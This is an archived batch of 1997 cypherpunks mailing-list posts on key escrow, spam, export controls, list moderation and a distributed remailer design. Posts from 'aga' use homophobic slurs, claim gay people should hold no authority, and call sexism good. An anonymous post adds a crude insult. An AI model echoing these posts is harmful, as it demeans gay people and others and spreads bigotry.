We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Eric.Pinsard" <epinsard@supelec-rennes.fr>
Date: Thu, 13 Feb 1997 01:04:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: key escrow & ttp
Message-ID: <Pine.A32.3.90.970213100055.55814A-100000@excalibur.supelec-rennes.fr>
MIME-Version: 1.0
Content-Type: text/plain


Hello
I am a student in an engineer school and i have to find where and who
are third trusted party for key escrowing all over the world.
If you know such organisation or someone who can help me in my quest,
please mail me back , i am not in a list.

best regards

Eric Pinsard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pete Capelli <pete@ubisg.com>
Date: Thu, 13 Feb 1997 07:11:01 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702130629.WAA04666@toad.com>
Message-ID: <33032F6A.6B34@ubisg.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:

<Some deleted>

> even more happy to pay, say, 10 cents to each recipient.  At that rate, an average
> person would probably receive enough "spam" to  pay for his Internet
> account, quite analogous to the way advertiser-supported TV is presented to
> the public for no explicit charge.

	Yes, but why does monetary compensation make it then O.K.?  I'd rather
pay for my Internet access, then be bombarded by spam, no matter what
they paid me!  I think the best soln. is the one that is currently in
place for phone calls - they can call once, but if I tell them not to
call me again and they do, I can then begin legal action against them. 
I pay more per month for my phone service than my Internet service (
although in NY, *everything* is more expensive. ), and junk phone calls
are way more intrusive then spam.

> 
> Jim Bell
> jimbell@pacifier.com

-pete

-- 
Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
*****	Finger pete@idaho.ubisg.com for my PGP Public key !! *****
They that give up essential liberty to obtain a little temporary safety
deserve neither liberty nor safety.        - Benjamin Franklin, 1759




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 13 Feb 1997 07:43:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702131524.KAA00149@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


There's a rumor that Tim May sells his dead relatives as 
fertilizer as they constitute the best shit in California.

        n  ___  n
        H /. .\ H Tim May
       nHnn . nnHn
      <U U/ o \U U>
      /  /\___/\  \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 13 Feb 1997 07:33:36 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Openmarket/128 bit export?
Message-ID: <199702131530.KAA11119@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Just saw a newswire about Openmarket exporting 128 bit ssl
for OM-Transact.  Anyone have any details?

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 13 Feb 1997 08:25:02 -0800 (PST)
To: Against Moderation <antimod@nym.alias.net>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <19970212165137.12190.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970213111917.9322A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 12 Feb 1997, Against Moderation wrote:

> Date: 12 Feb 1997 16:51:37 -0000
> From: Against Moderation <antimod@nym.alias.net>
> To: aga <aga@dhp.com>
> Cc: cypherpunks@toad.com, cypherpunks@pgh.org,
>     InterNet Freedom Council <ifc@pgh.org>, ichudov@algebra.com,
>     dlv@bwalk.dm.com, Freedom Knights <freedom-knights@jetcafe.org>
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> aga <aga@dhp.com> writes:
> 
> > Yes, and just why is Gilmore such a jerk?  Could his homosexuality
> > have anything to do with it?
> 
> Doubtful.  Given the fact that gay people suffer a great deal of
> discrimination, they generally tend to be fairly open-minded.  I see
> no reason to believe Gilmore is in fact gay, but if he is it in no way
> affects my opinion of him.
> 

Well, the fact remains that the homos are instrumental in creating and
forming a cliquish and censored usenet.  There is just no question
about that.  Remember the previous cypherpunk who stated that the
gays "created and run usenet."

> > Maybe they just wanted you to leave, Gilmore.  After all, your EFF has
> > ruined the reputation of the InterNet, and your homosexuality is a bad
> > sign.  Homos should not be allowed to have any authority positions
> > anyplace on the net.
> 
> Your bigotry seriously undermines the effectiveness of any
> anti-censorship arguments you make.  

Your assumption that I am a "bigot" makes it you appear uninformed.
Sexism is good, but racism is bad.   A sexist is not a bigot.

The only one who qualifies as a "bigot" is a racist.

> Are you just trying to get
> everyone to hate those who oppose censorship on cypherpunks.  Which
> side are you on anyway?
> 

It is very logical and wise to discriminate on the basis of sex.

I am not a racist, so therefore I can not be a "bigot," regardless of
my views on homosexuality.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 13 Feb 1997 11:39:00 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702131938.LAA09484@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:23 PM 2/12/97 -0800, jim bell wrote:
...
>I decided long ago (okay, well, many months ago) that the "solution" is to 
>invent a mechanism to allow spammers/advertisers to include a small amount 
>of ecash as a gift with every spam.  I figure that if USnail junk-mailers 
>are willing to pay $0.32 for postage and probably $0.50 for production, 
>printing, and labelling costs, all for no guarantees of results, they should 
>even more happy to pay, say, 10 cents to each recipient.  At that rate, an
average 
>person would probably receive enough "spam" to  pay for his Internet 
>account, quite analogous to the way advertiser-supported TV is presented to 
>the public for no explicit charge.

First of all, they don't spend 32 cents per post.  They get one of those
bulk-mail permits which allows them to send those at a significant savings.
The whole package complete with the cheap "Yes, I'll try your service, and
send me the free gizmo"/"No, I don't need any more services, but I could use
the free gizmo" stickers probably costs well within 50 cents.
TV is not a gift per say, though your origional posts, involving a cookie,
suggested something closer to TV.  Currently, advertiser subsidized
services, like hotmail, Yahoo, and similair, are closer in that you get the
gift with only the minor distraction of the advertisement.

A more functional system might be to include a cryptographic "key" of only a
few bytes in the e-mail post that opens some online service of relative
value.  Along the lines of a hidden, no URL FTP site with all the best
downloads.
This would not be dependant upon e-cash being in place.  Would require that
the customer read at least part of the message in order to get the
instructions on how to use the key.  Prevent the user from just handing out
the key to whoever asked as it would probably have a limited lifespan.  And
give the sender some location from which to conduct polling, headcounts, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Thu, 13 Feb 1997 08:43:32 -0800 (PST)
To: Anil Das <das@sgi.com>
Subject: Re: Procmail during the transition, anyone?
In-Reply-To: <199702131441.GAA01300@toad.com>
Message-ID: <sjm67zwbqsu.fsf@charon.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

[snip]
> It detects duplicates by Message-Id.

Unfortunately, the messages that make it through to the cypherpunks
list have their MessageID changed when they get approved.  So,
checking for duplicates by MessageID fails, given the current approval
mechanism. :(

I've informed Sandy of the problem, but he doesn't know how to
preserve the original MessageIDs.

-derek

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board  (SIPB)
       URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
       warlord@MIT.EDU                        PGP key available




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 13 Feb 1997 09:01:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <3302B6C6.2A25@gte.net>
Message-ID: <Pine.LNX.3.95.970213115817.9322D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


posted

On Wed, 12 Feb 1997, Dale Thorn wrote:

> Date: Wed, 12 Feb 1997 22:37:58 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com, freedom-knights@jetcafe.org,
>     cypherpunks@algebra.com
> Cc: dlv@bwalk.dm.com
> Subject: [STATS] Cypherpunks-unedited subscriptions
> 
> Total subscribers for cypherpunks-unedited:
> -------------------------------------------
> Tue 14 Jan: 13
> Wed 15 Jan: 15
> Thu 16 Jan: 13
> Fri 17 Jan: 15
> Tue 21 Jan: 28
> Fri 24 Jan: 30
> Mon 27 Jan: 34
> Tue 04 Feb: 43
> Tue 11 Feb: 62
> 
> When Gilmore made his pronouncement that "the subscribers have spoken",
> only a minority of the "real" subscribers were on the -unedited list.
> 
> Since the above figures don't include Sandfort's entry, the jump to
> 62 as of yesterday (despite the discontinuance) easily represents
> the majority of the active (real) subscribers.  Another blood stain
> on Gilmore's shroud, as it were.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 13 Feb 1997 12:01:39 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: anonymity and e-cash
Message-ID: <199702132001.MAA09945@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:28 PM 2/12/97 -0800, Hal Finney wrote:
>From: Sean Roach <roach_s@alph.swosu.edu>
...
>> Another idea that has been festering.  If we could get a CPA involved in
>> this forum, I would be willing to have h[im/er] sign my key, (which is
>> seldom used, mostly because this is the only place I use e-mail), for that
>> reasonable fee that CPA's can charge.  I know that it is not a standard, or
>> even legally recognized, post for CPA's, but I think that enough people
>> would trust them.
>
>The big question with identity certificates is what procedures were followed
>in verifying the identity when the cert was issued.  If the CPA publishes
>some standard method, and his reputation is strong enough that people will
>trust him to follow it, then it might well be worth money to you to have
>him sign it.  This is the traditional role of the Certification Authority.
>
>> This would take care of some of the "newly minted" key problems.  Since
>> getting someone who is trusted to sign your key is a recognized method of
>> getting people to believe you are who you say you are.
>
>It depends on the circumstances where you expect to use your key.  Within
>a small to medium circle of associates there may be some group members
>who sign keys and are trusted by other members of the group.  There is
>no particular reason for it to be difficult.  If you want a signature which
>will be accepted by everyone in the U.S. you have a harder problem.

As far as I am aware, a CPA is supposed to require a photo ID.  Since this
is the method by which absentee voting is accomplished.  A supposedly
anonymous system, (using two envelopes, the postmaster only knows that you
voted, the vote counter only knows that it came by mail, the public only
knows how many people are absentee voters, and who, the voter assumes that
the system works), requiring the CPA as a witness to the identity of the voter.
The problem would be getting the public to recognize the CPA as a key
signing authority.  This would presumably require a public announcement, the
backing of existing trusted users, etc.

Personally, I think that the netherlands? toying around with the post office
would be ideal for keys used solely for signing.  I just wouldn't trust the
government to have access to the one I used for encryption.

Maybe that's a better idea.  Let's all use a government accessable key for
signing, making it as long as possible to reduce identity theft.  And use
homebrew, super encryption for the actual secrecy.  Let GAK be our CPA.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Feb 1997 10:37:55 -0800 (PST)
To: warlord@MIT.EDU (Derek Atkins)
Subject: Re: Procmail during the transition, anyone?
In-Reply-To: <sjm67zwbqsu.fsf@charon.MIT.EDU>
Message-ID: <199702131828.MAA24702@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


subs-cri-be to the unedited list.

igor
Derek Atkins wrote:
> 
> Anil Das <das@sgi.com> writes:
> 
> [snip]
> > It detects duplicates by Message-Id.
> 
> Unfortunately, the messages that make it through to the cypherpunks
> list have their MessageID changed when they get approved.  So,
> checking for duplicates by MessageID fails, given the current approval
> mechanism. :(
> 
> I've informed Sandy of the problem, but he doesn't know how to
> preserve the original MessageIDs.
> 
> -derek
> 
> -- 
>        Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
>        Member, MIT Student Information Processing Board  (SIPB)
>        URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
>        warlord@MIT.EDU                        PGP key available
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Rhode Island Business Net" <ici@ici.net>
Date: Thu, 13 Feb 1997 10:09:34 -0800 (PST)
To: you@uhura.ici.net
Subject: RAM CHIP SALE!
Message-ID: <199702131735.MAA04652@uhura.ici.net>
MIME-Version: 1.0
Content-Type: text/plain


RIBN appologizes for any inconvenience this e-mail may have cause. 
In no way does RIBN mean to offend or upset any persons, please delete the e-mail
if you are not interested. Thank you. 

16 Megs EDO  - $76.99!!
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4 Megs EDO  - $19.99!!

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---------------------------------------------------------------------------------------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 12:42:28 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com
Subject: Re: (2) More on Digital Postage
In-Reply-To: <v03007800af28f71d3a32@[207.167.93.63]>
Message-ID: <v03007805af292b2c7533@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:10 PM +0000 2/13/97, Attila T. Hun wrote:

>+Attila is free to hire agents to screen his mail so he does not receive
>+spam. He is not free, in a free society, to force such screeners upon
>+me.
>
>    very true. if you if define that your freedom includes the free
>    abuse of your freedoms by others.  freedom is a two way street;
>    freedom in my book says that I can do anything I wish which does
>    not infringe on the rights of others. now, that implies that I can

As this relates to "unwanted mail," I think calling this an "abuse of
freedom by others" is misleading, and a slippery slope. On this same
slippery slope lies the claims by some women, as an example, that images in
Playboy "abuse their freedoms" (I'd've thought a different kind of abuse is
involved, but I won't get into that here).

Is unwanted physical mail also an abuse of freedom? How about unwanted
personal letters? How about unwanted conversations in a Cypherpunks meeting?

The answer to all of these issues lies outside the State. Invoking the
power of Men with Guns to stop these "unwanted contacts" is simply wrong.

Attila seems to be arguing that the State has a legitimate role in
censoring certain contacts, whereas I argue that technology and contracting
can almost always do a better job.

I repeat: Attila is free to hire a censor, or nanny, or personal secretary
to screen his calls, to sift through his mail to pass on only the most
relevant stuff, and so on. Many celebrities and busy people do just this.

(In the CompuServe case which triggered this thread, CompuServe certainly
could have offered a "filtering" service to its members. This would be
unexceptionable, and the right way to go, contractually and
technologically.)

Attila is not free, in a free society, to claim (*) that his freedoms are
being infringed when people send him mail he is not interested in.

(* He can certainly _claim_ it, but he cannot bring the State in to enforce
his dubious claim about his freedom being infringed.)

By the way, I think the "junk fax" and "junk phone call" laws are clearcut
violations of the First Amendment. I understand why the herd _wants_ these
laws, as it reduces the costs involved in replacing fax paper, running to
the telephone only to find someone trying to sell something, etc., but it
is quite clearly a prior restraint on speech, however well-intentioned.

(There are technological solutions to these problems as well. The laws
shield people from having to deal with these solutions, however.)

--Tim May





Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@magna.com.au>
Date: Wed, 12 Feb 1997 18:11:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Transmission of Crypto material and ITAR
Message-ID: <2.2.32.19970213211523.00d318c8@magna.com.au>
MIME-Version: 1.0
Content-Type: text/plain


Dear All,

I have a question regarding the impossible enforcement of ITAR/EAR:
Naturally I cannot download crypto software from the US, but most of these
sites have mirrors in other countries, such as the UK for PGP, and sweden
and finland for lots of things.

However, with the way that information is routed throughout the internet
from these sites, whenever I, in Australia, request packets containing this
data from the UK etc, it invariably passes through the US from coast to
coast! Therefore, if ITAR/EAR tries to govern that, aren't they really
trying to enforce something totally unenforcable? Surely they cannot expect
all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? 

Can anyone tell me what the ruling is with regards to this?

Yours Sincerely,

Benjamin Grosman

----------------------------------------------------------------
  Benjamin Grosman - Programmer, Magna Data Internet Solutions
  Quidquid latine dictum sit, altum viditur.
                  [Whatever is said in Latin sounds profound.]
----------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 11:22:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: distributed mailing list architecture (fwd)
Message-ID: <199702131929.NAA04666@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 7 Feb 1997 20:11:15 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> Subject: distributed mailing list architecture

> Igor Chudov <ichudov@algebra.com> writes:
> > I'd suggest a simplier solution: to connect each server with a couple,
> > or maybe three, other servers. This scheme is rather robust, does not
> > consume too much CPU time and bandwidth, and is easy to implement.
> 
> I'm not sure what the architecture you are suggesting is, but this is
> what I suggest as the simplest to set up.

I envision it to look like a fishnet.

> Have one main majordomo.

There should be no "one main" anything on this project.

> You subscribe to the main majordomo request address, and it forwards
> your subscription request to a random mail-exploder.
> 
> You unsubscribe to the main majordomo request address, and it forwards
> your subscription to all the mail-exploders request addresses
> (unsubscribe traffic is low anyway, keeping track of who is subscribed
> where at the main major domo doesn't seem worth it).
> 
> Each person who wishes to run an exploder is subscribed (manually) to
> the main majordomo.
> 
> You submit articles to the main majordomo, and it sends copies of the
> articles to it's subscribers (the mail-exploders).
> 
> The mail-exploders send mail to the address on their subscriber lists.
> 
> (John Gilmore suggested this architecture, as a simpler alternative).

Simpler? Hardly.

With the remailer chain proposal we could have a working remailer network
up in a couple of more days. What you propose will take weeks to write
and debug code and then follow it through.

No, this approach is neither simple or efficient.

What I call a fishnet toplogy is much cleaner. Each node only has to
filter messages where it was in the source chain. Easy to do with procmail,
if you look at the first example on the man page, eg how to dump to
dev/null, you find a perfect example of what procmail needs to do. It does
not need to know who else is on the network (as in a star) and its traffic
consists of one copy of each incoming instead of n copies from each of
the 'star' remailers plus the outgoing from the local subscribers. A easy
protocol can be arranged so that if the downstream remailer breaks it
subscribes to the next one in the chain, again easy to do with just a few
lines of code...


  If (bounce count of next site expires)
    {
       subscribe backup feed
    }
  If (next site returns)
    {
       unsubscribe backup feed
    }



As to the actual architecture:


                      A --> D
                     ^ \   ^ \
                    /   v /   v
                   C <-- B <-- E
                         ^
                         |
                         v
                         N  (mail-news gateway)


Again, several nice features are:

  *  Can be gotten up from a stock majordom/procmail install in a
     trivial manner

  *  Site only has to filter mail from itself

  *  It only has to keep up with two sites in the network instead
     of many (support for limited scope and anonymity)

  *  Each site gets a critical feed from only 1 other site so traffic of
     duplicates is a minimum

  *  Except for sites on the boundary of the net every site has two
     places to send its output, adding to robustness, if we allow
     the edges to wrap (eg torus) then no sites have less than 2
     other sites to send traffic to.

  *  Supports various levels of encryption or authentication on a link
     by link basis, not forcing all members to submint to a general
     architecture

  *  Scales easily, something the star model does not do since hub
     machines must grow at a rate dependant on the total number of
     remailers in the chain this equates to mullah and lots of it
     should the network take off

  *  The actual number of machines in a given chain is flexible, I
     would guess the number should match a plane tiling figure,
     triangle (n=3), squares (n=4), or hexagons (n=6)

  *  Traffic analysis and sync floods are harder to impliment in this
     architecture than a star or hub based network

  *  Supports 'little' machines and operators who are not guru's
     or have deep pockets


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 13 Feb 1997 10:56:16 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <01IFDBB5MRH09ANACB@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 23:19:40.35

>> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

>> 	Someone with more experience correct me if I'm wrong (I'm just
>> starting to learn about mailing list management), but isn't saving
>> at least the first bounce from a given address good in order to check
>> what address is the one that's actually bouncing? Admittedly, this only
>> applies to badly-formed bounces. The rest can just have the address
>> noted.

>Hmmm, I can see saving the address causing the bounce in some sort of array
>that is indexed to the majordomo subscription list for a given remailer. It
>would not cost anything but overhead to save the entire message. I guess my
>motivation was not that I cared their mailbox was full or it was a invalid
>address but that I wouldn't be able to deliver at this time. I just don't
>see any reason that it helps me to know why they can't receive mail only that
>they can't.

	Well, if you can't deliver mail because their mailbox is full, then
you should simply wait a few days before trying to deliver mail to that
address. If it's because the address isn't there any more, you should delete
it from the subscription lists. Otherwise, the instant people's mail quotas
overflow (e.g., they're on AOL and they haven't been able to get through the
clogged lines), they get bounced... or you're left with a lot of invalid
addresses. The address causing the bounce is not necessarily determinable
automatically from the bounce message; if it isn't, then you need to keep a
copy around for a human to look at.

[re: bi-directional news-mail gateways]
>> >Want to volunteer?
>> 
>> 	Give me some idea of how much programming knowledge, time, etcetera
>> is required, please, before I can answer. I'd be renting space on some other
>> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
>> programming language (i.e., beyond Applesoft Basic) that I know anything of
>> is Perl (and I don't know that all that well); and I am somewhat busy with
>> other stuff. In other words, it depends.

>Hmmm, not shure how much programming it would take - never done it myself.
>I think Perl would be an acceptable language. I certainly hope to do the
>majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
>who knows the fine points of how INN cache's messages. Redbeard and I had a
>short discussion about this issue today relating to tracking messages to
>reduce mail-loops. I will discuss it with him and see what happens.

	Given that there are pre-existing news-mail gateways, I'd think that
the programs should be available. My concern on the programming is more in
the realm of keeping the thing up and running.

>I know exactly what you mean. I have two full-time jobs and hadn't really
>thought of taking on the cpunks list in any manner. But hey, that is the
>spice in life...

	Understood; my busy-ness with other stuff comes from being a grad
student.

>Give me a couple of days to look at the situation and if somebody don't beat
>me to it I'll post what I find out. Cool?

	Looks OK. I'll also take a look around for what information I can
find.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "chefren" <chefren@pi.net>
Date: Thu, 13 Feb 1997 05:31:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut u
Message-ID: <199702131330.OAA03668@mailhost.pi.net>
MIME-Version: 1.0
Content-Type: text/plain



On 11 Feb 97 at 3:54, John Gilmore wrote:

> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:


Hm...

In the year 1513 or 1514 someone who could be an Honourable 
Member of this list (if one could be one...) wrote:


> There is nothing more difficult to take in hand, more
> perilous to conduct, or more uncertain in its success,
> than to take the lead in the introduction of a new order
> of things.     <Niccolo Machiavelli, Il Principe>


Please stop at looking too much on how people scream about
your new ideas and continue this list the way you like
it!!!


I think it's Your Machine and we have to respect your
decision to pull the plug, nobody should blame you for
that, but please listen a little to the 1000+ people who
don't scream and are obviously happy with the list and
respected your right to do the "sandy filter experiment".


+++chefren




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wazoo MixMaster <mix@earth.wazoo.com>
Date: Thu, 13 Feb 1997 13:18:51 -0800 (PST)
To: remailer-operators@anon.lcs.mit.edu
Subject: Remailer Network Under Attack
Message-ID: <199702132116.OAA21790@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


It looks like a new round of attacks against the remailer network is
underway.  Once again, the provocation is "abuse".

Unknown persons have been using anonymous remailers and mail2news
gateways to "plant" e-mail addresses in various NGs for the
spam-bots to harvest and deluge with spam.  The original intention
appears to have been to "poison the well" for spammers by planting
addresses that they'd get in trouble for sending their junk mail to.
It appears that one or more copy-cats is now using the same
methodology to plant the addresses of people who they'd like to see
spammed.  (I'm using the term "plant" rather than "forge" since the
messages seem to contain sufficient disclaimers that the From:
addresses are not genuine.  Sufficient for a normal HUMAN reader,
but not an automated address harvester, that is.)

Within the last week or so, a chorus of complaints has arisen about
this practice, orchestrated by about a half dozen individuals who
meet an interesting criteria -- they all hold dual accounts on both
Netcom and a small ISP known as DataBasix.com.

The scenario is quite similar each time this has happened in the
past, such as with the cross-posted pro-smoking/anti-smoking threads
last year.  One of the complainers politely asks that the abusers be
identified and their abuse stop.  This is, of course, impossible
because the perpetrators are posting anonymously.  The second step,
which follows the first very closely, is a demand that the remailer
be shut down with threats being CCed to sysadmins and upstream
providers.

Given the variety of addresses being "spam baited", the only logical
target of this abuse is the remailers themselves.  Both sides of
certain heated controversies report being made the target of this
spam bait, each side accusing the other of being responsible.

The only question is whether the main group of complainers (the
Netcom/DataBasix group) are merely innocent bystanders or whether
they may have initiated the "abuse" as an excuse to shut down the
remailers in furtherance of some unknown agenda.  Either that, or
someone else is attacking the remailer net and it's just a
coincidence that a group fitting such a curious pattern (dual
accounts on the same two ISPs) should step in and demand the
dismantling of several elements of the remailer/m2n-gateway
infrastructure.

HYPOTHETICAL QUESTION: Would mentioning the "Reichstag Fire" invoke
Godwin's Law prematurely? <g>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca (Leonard Janke)
Date: Thu, 13 Feb 1997 14:27:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702131535.JAA20917@manifold.algebra.com>
Message-ID: <m2bu9o4agg.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> 
> Dr.Dimitri Vulis KOTM wrote:
> > [...] 
> > Timmy has a valid point: the reason why a comp.* newsgroup might have less
> > cross-posted and "off-topic" crap is because net.cops would be more
> > likely to complain to posters' sysadmins. [...]
> 
> As for net.cops, check out what Scott Nudds does in comp.lang.c++
> [...]

Yes, Scott Nudds is a good example of how dedicated flamers
(or maybe he is just a flamee trying to defend himself, I came
too late to say for sure), and those who fuel them on, can cause even 
a comp.* newsgroup to be as noisy as this list. (Btw, if you think
comp.lang.c++ is bad, check out comp.lang.asm.x86, sometime!).

I think it is, thus, important to distinguish between
noise from "outsiders", and noise caused by "insiders" who 
actually read the newsgroup but disrupt it for fun or
grudges, or what not. A comp.* newsgroup will help reduce the
former noise, for the reasons Dr. Vulis cites, but not so much the 
latter, since many insider trouble-makers  are often their own 
adminstraters or providers, or who have found providers or who
now have admins who will not cut them off.

That being said, I fully support the idea of a comp.* newgroup, 
over an alt.* group. The important advantages are the greater
propogation many have described, and the reduction in "outsider"
noise. I also think that people interested in computing
in general might be more likely to stumble onto the newsgroup,
since the comp.* hierachy is so much smaller than the alt.*
hierachy.

I do worry, however, that some of the more mischevious people 
around this list might try to disrupt the voting process with forged e-mail,
or turn the discussion over creation into a less than civil debate. 
In this unlinkely worst case scenario, however, not much would be lost
since we could still fall back to alt.cypherpunks, and it
would, later, make for good net.legends. :)

To be fair, though, I doubt that anyone would seriously try to
disrupt the creation, given the dedication I am seeing people putting 
into finding a new home (or homes!) for the list, and that there does not 
seem to be anyone dedicated to distrupting that process as John Gilmore 
worried there would be. (And I am on the unedited list, too!) 

Let's give it a shot!

Leonard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 13 Feb 1997 11:21:20 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <01IFDCB1Y74I9ANACB@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 23:19:40.35
To:	IN%"cypherpunks@toad.com"
CC:	
Subj:	RE: Cypherpunks Distributed Remailer (fwd)

Received: from toad.com by mbcl.rutgers.edu (PMDF #12194) id
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Date: Wed, 12 Feb 1997 18:59:05 -0600 (CST)
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: RE: Cypherpunks Distributed Remailer (fwd)
Sender: owner-cypherpunks@toad.com
To: cypherpunks@toad.com
Message-id: <199702130159.RAA13474@toad.com>
X-Envelope-to: EALLENSMITH
Precedence: bulk


Forwarded message:

> Date: Wed, 12 Feb 1997 18:47 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)
> 
> 	Someone with more experience correct me if I'm wrong (I'm just
> starting to learn about mailing list management), but isn't saving
> at least the first bounce from a given address good in order to check
> what address is the one that's actually bouncing? Admittedly, this only
> applies to badly-formed bounces. The rest can just have the address
> noted.

Hmmm, I can see saving the address causing the bounce in some sort of array
that is indexed to the majordomo subscription list for a given remailer. It
would not cost anything but overhead to save the entire message. I guess my
motivation was not that I cared their mailbox was full or it was a invalid
address but that I wouldn't be able to deliver at this time. I just don't
see any reason that it helps me to know why they can't receive mail only that
they can't.

[re: bi-directional news-mail gateways]
